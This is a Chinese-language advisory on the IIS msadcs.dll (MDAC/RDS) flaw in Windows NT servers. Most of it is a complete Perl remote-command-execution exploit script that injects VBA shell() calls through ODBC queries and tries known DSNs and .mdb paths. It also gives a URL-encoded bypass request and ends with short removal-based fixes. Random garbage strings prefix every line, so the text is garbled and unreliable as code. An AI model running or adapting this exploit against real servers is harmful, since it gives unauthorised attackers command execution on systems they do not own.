IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
/K<Nlxcm
KRe=n3 1 涉及程序:
0%/(p?]M Microsoft NT server
^D|c 5ntP{p%> 描述:
zL'n
J 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
dr o42#$Mo op C11c/ 详细:
A9gl|II 如果你没有时间读详细内容的话,就删除:
iz(+(M c:\Program Files\Common Files\System\Msadc\msadcs.dll
KK?~i[aL 有关的安全问题就没有了。
9Ba<'wk/>" !%@{S8IP.v 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
(" %yV_R ~/%){t/uLY 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
mUbaR 关于利用ODBC远程漏洞的描述,请参看:
)%7A. UO) enj2xye%Y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %9.KH ez>@'yhK 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
RT>3\qhZ http://www.microsoft.com/security/bulletins/MS99-025faq.asp !@X#{ _HQa3wj 这里不再论述。
KWo)}m*6 HApP*1J^c 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
HPQ ,tlp6j @\R)k(F /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
`L>'9rbZO 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
elN3B91\6r t}nRW o ;Z*RCuwg #将下面这段保存为txt文件,然后: "perl -x 文件名"
3a0C<hW ;xc #!perl
6eD[)_?]y #
TxWjgW~ # MSADC/RDS 'usage' (aka exploit) script
;`+,gVrp #
HChewrUAn # by rain.forest.puppy
7d*<'k]{, #
TBco # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
|D~MS`~qd5 # beta test and find errors!
ES> 3Cf OjI*HC use Socket; use Getopt::Std;
')+EW"
e getopts("e:vd:h:XR", \%args);
#C`!yU6( [% jg;m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ZU|nKt<GK 1"k@O)?JP if (!defined $args{h} && !defined $args{R}) {
Ow
I?(ruL' print qq~
[~3p+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
fomkwN -h <host> = host you want to scan (ip or domain)
P
dJ*'@~i -d <seconds> = delay between calls, default 1 second
`dK\VK^ -X = dump Index Server path table, if available
'9)@ U+yfQ -v = verbose
WA/\x -e = external dictionary file for step 5
BhjXNf9[ `6A"eDa Or a -R will resume a command session
]Vsze4>Z[ 1\p[mN ~; exit;}
@&+
1b= <3bh-) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
~"N]%Cu if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
3,?y ! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
U
uysG\ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;,1i,? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
#E1*1E if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5c#L6 dA) K^S#?T|[9 if (!defined $args{R}){ $ret = &has_msadc;
k[p die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
F-Ea85/K@4 Oq("E(z+f print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7\xa_nrI . "cmd /c ";
+*dJddz $in=<STDIN>; chomp $in;
HUJ $e2[ $command="cmd /c " . $in ;
!ZVMx*1Cf Y5
dt?a if (defined $args{R}) {&load; exit;}
/_O-m8+4m TaC)N print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
rcK*",> &try_btcustmr;
=pNkS1ey r\]WDX!` print "\nStep 2: Trying to make our own DSN...";
`y\:3bQ4
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
4u&doSXR ,-b9:]{L print "\nStep 3: Trying known DSNs...";
R3~&|>7/T &known_dsn;
(F)zj<{f r?Vob}'Pt] print "\nStep 4: Trying known .mdbs...";
dM') <lF &known_mdb;
N%-nxbI\ Cur)| if (defined $args{e}){
6$f,DU print "\nStep 5: Trying dictionary of DSN names...";
qr@,92_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
S:d `z' Q3DxjD print "Sorry Charley...maybe next time?\n";
b?$3jOtW exit;
P'K')]D=! 4q[r
KNl ##############################################################################
V= _8G3 efhwbn sub sendraw { # ripped and modded from whisker
$Z j. sleep($delay); # it's a DoS on the server! At least on mine...
EPI*~=Z.U my ($pstr)=@_;
A1C@'9R*
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
LF0~H}S;6B die("Socket problems\n");
q\,H9/.0k if(connect(S,pack "SnA4x8",2,80,$target)){
T:ck/:ZH select(S); $|=1;
NF.SGga print $pstr; my @in=<S>;
"*0
szz' select(STDOUT); close(S);
g41LpplX return @in;
f,1rmX1 } else { die("Can't connect...\n"); }}
!cpBX>{w >|s=l`"Xz ##############################################################################
(ZnA#% 0nS6<: sub make_header { # make the HTTP request
IE6/
E my $msadc=<<EOT
hYV{N7$U| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Cfj*[i4 User-Agent: ACTIVEDATA
?`vb\K<5H; Host: $ip
wFvilF
V Content-Length: $clen
4k#6)e Connection: Keep-Alive
}vi%pfrB M3Z yf ADCClientVersion:01.06
6k[u0b` Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Wp'\NFe8 D >mLSh --!ADM!ROX!YOUR!WORLD!
;f><;X~KX Content-Type: application/x-varg
YPM>FDxDB Content-Length: $reqlen
TKE)NIa 2/~v EOT
p+t8*lkq ; $msadc=~s/\n/\r\n/g;
{T IGPK return $msadc;}
]-6 G'i? Li'T{0)1) ##############################################################################
<.<Nw6 >GcFk&x sub make_req { # make the RDS request
x6,RW],FGR my ($switch, $p1, $p2)=@_;
1w5nBVC*$V my $req=""; my $t1, $t2, $query, $dsn;
Ip4~qGJ h<j04fj if ($switch==1){ # this is the btcustmr.mdb query
[bcqaT $query="Select * from Customers where City=" . make_shell();
;?&;I! $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
N>~*Jp2; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
%*uqtw8 uJWX7UGuz elsif ($switch==2){ # this is general make table query
M *}$$Fe| $query="create table AZZ (B int, C varchar(10))";
=_XcG!" $dsn="$p1";}
l}wBthwCc e7;]+pN]J elsif ($switch==3){ # this is general exploit table query
pZR^ HOq $query="select * from AZZ where C=" . make_shell();
}'{(rU $dsn="$p1";}
|QY+vO7fxj OT [t
EqQ elsif ($switch==4){ # attempt to hork file info from index server
/i"EVN`t $query="select path from scope()";
-L[K1;Xv" $dsn="Provider=MSIDXS;";}
bw4b'9cK Ik,w3 }*P* elsif ($switch==5){ # bad query
@bPJ}C $query="select";
DK-=Q~`! $dsn="$p1";}
G'("-9 MT*b+&1e $t1= make_unicode($query);
48DsRy $t2= make_unicode($dsn);
csV1ki/A $req = "\x02\x00\x03\x00";
vr;7p[~ $req.= "\x08\x00" . pack ("S1", length($t1));
]_Qc}pMF& $req.= "\x00\x00" . $t1 ;
H(X~=r $req.= "\x08\x00" . pack ("S1", length($t2));
m/ukH{H1% $req.= "\x00\x00" . $t2 ;
c{<3\ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
QXrK-&fju return $req;}
C]`Y PM5 qN) cB?+ ##############################################################################
J]N}8 0 qdm!]w.G5 sub make_shell { # this makes the shell() statement
Ia\Nj
_-%L return "'|shell(\"$command\")|'";}
.UDZW* +VeLd+Q} ##############################################################################
crT[;w $p0s sub make_unicode { # quick little function to convert to unicode
NUU}8a(K my ($in)=@_; my $out;
9O)>>1}*S for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3aOFpCs|# return $out;}
oM VJ+#[x k.0C*3' ##############################################################################
(u_sz ]uZH 0 sub rdo_success { # checks for RDO return success (this is kludge)
u-W=~EO5# my (@in) = @_; my $base=content_start(@in);
zb4g\H
0 if($in[$base]=~/multipart\/mixed/){
eyM3W}[S$/ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
h~1QmEat return 0;}
9W8Dp?: &><`? ##############################################################################
fx|9*|E 4S=lO?\"A sub make_dsn { # this makes a DSN for us
#Z.JOwi my @drives=("c","d","e","f");
RS1oPY
print "\nMaking DSN: ";
'-x%?Ll foreach $drive (@drives) {
J0oR]eT} print "$drive: ";
EAI[J&c my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
+2g3%c0} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
WZMsmhU@T . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
iO@wqbg$6 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?BRL;( x return 0 if $2 eq "404"; # not found/doesn't exist
u>eu47"n! if($2 eq "200") {
+!<`$+W foreach $line (@results) {
W)_B(;$] return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
k9,"`dk@ } return 0;}
l{R)yTO Xu$*ZJ5w ##############################################################################
`7j,njCX. gu/Yc`S[ sub verify_exists {
5Q88OxH my ($page)=@_;
MnQ_]cC my @results=sendraw("GET $page HTTP/1.0\n\n");
$@xkKe" return $results[0];}
oHYD6qJX{ s6egd%r ##############################################################################
HI?>]zz| 3k/MigT sub try_btcustmr {
}8SHw|- my @drives=("c","d","e","f");
o]Ki+ U my @dirs=("winnt","winnt35","winnt351","win","windows");
V OX>Sl PTP2QAt foreach $dir (@dirs) {
Nh))U print "$dir -> "; # fun status so you can see progress
XVfQscZe foreach $drive (@drives) {
rQqtejcfx print "$drive: "; # ditto
7[)(;- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
?/wloLS47 $reqlenlen=length( "$reqlen" );
9p.>L8 $clen= 206 + $reqlenlen + $reqlen;
f[RnL#*xJU t0q@]
0B5 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7^L&YVW if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
E=E<l?ob else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
AM[:Og S fwEi//1 ##############################################################################
pI`Ke" ,?qS#B+> sub odbc_error {
.DQ]q o]OG my (@in)=@_; my $base;
Ojs\2('u my $base = content_start(@in);
u *<
(B if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
?Y9?x,x $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
QKO(8D 6+ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
l0_V-|x $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
SS`C0&I@p return $in[$base+4].$in[$base+5].$in[$base+6];}
:wZZ 1qa print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
by<2hLB9Q print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(tgaH,G $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
u;!Rv E8N `+uXL9mo ##############################################################################
~I<y^]2{ $enh45Wy sub verbose {
h2>0#Vp3j my ($in)=@_;
kD>vQ? return if !$verbose;
[wR8q,2
print STDOUT "\n$in\n";}
@oEDtN mAzW'Q4D ##############################################################################
d(!N$B\[5T 2Kidbf sub save {
eG v"&kr my ($p1, $p2, $p3, $p4)=@_;
zN1;v6; open(OUT, ">rds.save") || print "Problem saving parameters...\n";
,b4&$W]. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
3Z0\I\E close OUT;}
xpM~*Gpm Q?@G>uz ##############################################################################
tTgW^&B if'4MDl sub load {
H/$q]i*#K my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*"ShE=\p open(IN,"<rds.save") || die("Couldn't open rds.save\n");
0u_'(Z-^2 @p=<IN>; close(IN);
gUp0RPs $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
To`?<]8 $target= inet_aton($ip) || die("inet_aton problems");
'UxA8i(
print "Resuming to $ip ...";
0"`skYJ@ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
7L*`nU|h if($p[1]==1) {
3fPv71NVtt $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
A=K1T]o $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#"_MY- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=Ug_1w if (rdo_success(@results)){print "Success!\n";}
.p`'^$X^ else { print "failed\n"; verbose(odbc_error(@results));}}
q4{ t H elsif ($p[1]==3){
Fn,|J[sC if(run_query("$p[3]")){
i'<1xd(` print "Success!\n";} else { print "failed\n"; }}
n&]w* (, elsif ($p[1]==4){
m!_ghD{5h if(run_query($drvst . "$p[3]")){
W=?87PkJu print "Success!\n"; } else { print "failed\n"; }}
keOW{:^i exit;}
;Y\,2b, xh ,whNh ##############################################################################
mxGN[%ve V*}zwms6 sub create_table {
m##=iB|; my ($in)=@_;
9:o3JGHSc $reqlen=length( make_req(2,$in,"") ) - 28;
B*IDx`^Y $reqlenlen=length( "$reqlen" );
6K}=K?3Z $clen= 206 + $reqlenlen + $reqlen;
iE(grI3 my @results=sendraw(make_header() . make_req(2,$in,""));
j`B{w return 1 if rdo_success(@results);
P vwIO_W my $temp= odbc_error(@results); verbose($temp);
CCO g1X_ return 1 if $temp=~/Table 'AZZ' already exists/;
SO/]d70HG return 0;}
pZxL?N! $nn5;11@gY ##############################################################################
D,a%Je-r, IJ;*N sub known_dsn {
=Qrz|$_rv # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
OB22P% my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
cmI#R1\ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
ub5hX{uT "banner", "banners", "ads", "ADCDemo", "ADCTest");
Hea<!zPH hT"K}d;X foreach $dSn (@dsns) {
E6M: ^p*< print ".";
_ GSw\r next if (!is_access("DSN=$dSn"));
N/BU%c
ph+ if(create_table("DSN=$dSn")){
gN~y6c:N print "$dSn successful\n";
H%]ch6C if(run_query("DSN=$dSn")){
n~j[Pw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Sj?sw]3 print "Something's borked. Use verbose next time\n";}}} print "\n";}
R:?vY! <>s\tJ ##############################################################################
sdQv:nd'R 1#"Q' ,7 sub is_access {
4a!7|}W my ($in)=@_;
(+dRD]|T $reqlen=length( make_req(5,$in,"") ) - 28;
vq1&8=
$reqlenlen=length( "$reqlen" );
,np`:fBMy $clen= 206 + $reqlenlen + $reqlen;
+_P
2S my @results=sendraw(make_header() . make_req(5,$in,""));
E e>j7k.G. my $temp= odbc_error(@results);
uW=NH;u verbose($temp); return 1 if ($temp=~/Microsoft Access/);
&,]+> return 0;}
D|9fHMg% dRm'$
G9 ##############################################################################
j*d~h$[k ^~ $& sub run_query {
u V7Hsg9l my ($in)=@_;
tYZGf xj $reqlen=length( make_req(3,$in,"") ) - 28;
<9a_wGs $reqlenlen=length( "$reqlen" );
7G/|e24 $clen= 206 + $reqlenlen + $reqlen;
Ws)X5C=A my @results=sendraw(make_header() . make_req(3,$in,""));
shIi,!bZ return 1 if rdo_success(@results);
#%b()I_([ my $temp= odbc_error(@results); verbose($temp);
XS8~jBjx return 0;}
j9'XZq} yMl'1W ##############################################################################
)O C[;>F7 3z92Gy5cr sub known_mdb {
% T \N@ my @drives=("c","d","e","f","g");
sA-W^*+ my @dirs=("winnt","winnt35","winnt351","win","windows");
_x6E_i-( my $dir, $drive, $mdb;
q-
(NZno my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\N+Ta:U1P Lo E(W|nj # this is sparse, because I don't know of many
<Cu?$ my @sysmdbs=( "\\catroot\\icatalog.mdb",
e-3pg?M "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
O&iYGREO "\\system32\\certmdb.mdb",
G D{fXhgk "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
kDY]>v `yX+NRi(s my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
eZ5}O0sfp "\\cfusion\\cfapps\\forums\\forums_.mdb",
T,2Dr; "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
2%C5P0;QX "\\cfusion\\cfapps\\security\\realm_.mdb",
7u5\#|yL "\\cfusion\\cfapps\\security\\data\\realm.mdb",
u%T$XG "\\cfusion\\database\\cfexamples.mdb",
ESjJHZoD( "\\cfusion\\database\\cfsnippets.mdb",
N 3p 7 0 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
."Ix#\|x "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
IPi<sE "\\cfusion\\brighttiger\\database\\cleam.mdb",
ugCS & "\\cfusion\\database\\smpolicy.mdb",
h?3l "\\cfusion\\database\cypress.mdb",
I@Z*Nu1L "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
np\2sa` "\\website\\cgi-win\\dbsample.mdb",
*M<BPxh0w] "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
wx%nTf/Oa "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
^@lg5d3F ); #these are just
m:fouMS foreach $drive (@drives) {
124L3AG foreach $dir (@dirs){
ivz9R' foreach $mdb (@sysmdbs) {
{-N90Oe print ".";
pkf OM"5' if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
A2:){`Mw print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
.4re0:V if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
i~B@(, print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
^}/
E~Sg7\ } else { print "Something's borked. Use verbose next time\n"; }}}}}
*r,&@UB +M
O5'z foreach $drive (@drives) {
J*~2:{=% foreach $mdb (@mdbs) {
gq_7_Y/ print ".";
j /dE6d if(create_table($drv . $drive . $dir . $mdb)){
Z F yX@#B9 print "\n" . $drive . $dir . $mdb . " successful\n";
PT@e),{~o9 if(run_query($drv . $drive . $dir . $mdb)){
ph12x: @B print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
]n]uN~)9 } else { print "Something's borked. Use verbose next time\n"; }}}}
7M#$: Fdb }
NQiecxvt= C:GHP$/} ##############################################################################
z5&%T}$tJ g;#KBxE sub hork_idx {
2C33;?M print "\nAttempting to dump Index Server tables...\n";
M|5]#2J_2 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
JlDDM
% $reqlen=length( make_req(4,"","") ) - 28;
h9BD
^j $reqlenlen=length( "$reqlen" );
a;'E}b{`F $clen= 206 + $reqlenlen + $reqlen;
i=X* my @results=sendraw2(make_header() . make_req(4,"",""));
w^rb|mKo if (rdo_success(@results)){
|;U=YRi my $max=@results; my $c; my %d;
N[x@j)w-` for($c=19; $c<$max; $c++){
YUVc9PV)Ws $results[$c]=~s/\x00//g;
g3~~"`2 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
EOPS? @ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<m/b]| $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
yg-FJ/
$d{"$1$2"}="";}
g\\1C2jG foreach $c (keys %d){ print "$c\n"; }
'
MS!ss=r } else {print "Index server doesn't seem to be installed.\n"; }}
3Da,]w< s 9|a2/{ ##############################################################################
@Tfwh/UN ^0x.'G? sub dsn_dict {
bg1"v a#2 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
1;Wkt9]9 while(<IN>){
()nKug`.@ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
j*H;a ?Y next if (!is_access("DSN=$dSn"));
\5_P5q:` if(create_table("DSN=$dSn")){
BsK|:MM] print "$dSn successful\n";
aFr!PQp4{ if(run_query("DSN=$dSn")){
k99gjL` print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
b1+hr(kMRM print "Something's borked. Use verbose next time\n";}}}
9oje`Ay print "\n"; close(IN);}
#7~tL23}] I*:qGr+ WJ ##############################################################################
J|"nwY}a9 x ?f0Hk+ sub sendraw2 { # ripped and modded from whisker
N(_
.N6 sleep($delay); # it's a DoS on the server! At least on mine...
z>mZT. my ($pstr)=@_;
>FY&-4+v socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z(LxB$^l[ die("Socket problems\n");
8yE%X!E if(connect(S,pack "SnA4x8",2,80,$target)){
dE5 5 print "Connected. Getting data";
~~xyFT+{F open(OUT,">raw.out"); my @in;
4C,kA+P select(S); $|=1; print $pstr;
X"TUe>cM while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Sqdc1zC close(OUT); select(STDOUT); close(S); return @in;
$(KIB82& } else { die("Can't connect...\n"); }}
e+F}9HR7 j(Fa=pi ##############################################################################
/zl3&~4 9Q C"Od9H sub content_start { # this will take in the server headers
Y/^[qD my (@in)=@_; my $c;
|.Nr.4Yp for ($c=1;$c<500;$c++) {
RP~vB#} if($in[$c] =~/^\x0d\x0a/){
1#>&p%P! if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
J@ktj( else { return $c+1; }}}
Z:UgozdC return -1;} # it should never get here actually
'NT#(m% @)OnIQN~ ##############################################################################
~@-QbkC h9<mThvgn sub funky {
nszpG1U: my (@in)=@_; my $error=odbc_error(@in);
UzU-eyA if($error=~/ADO could not find the specified provider/){
q,;".3VQ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
W$ JY M3! exit;}
u\()E|?p if($error=~/A Handler is required/){
ERfd7V<c> print "\nServer has custom handler filters (they most likely are patched)\n";
VMxYZkMNd_ exit;}
C!ZI&cD9
if($error=~/specified Handler has denied Access/){
x1m8~F print "\nServer has custom handler filters (they most likely are patched)\n";
u}-d7-= exit;}}
FylWbQU9 hF7V !*5 ##############################################################################
G}=`VYK CdBthOPX) sub has_msadc {
iO%Zd[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
G *mO&:q my $base=content_start(@results);
_&; ZmNNhc return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
b?Cmc return 0;}
2!{_/@I\Y 0NL :z1N-h ########################
>vD['XN, E6'8Zb 3AdP^B< 解决方案:
x1 ;rb8 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&5kZ{,-eM 2、移除web 目录: /msadc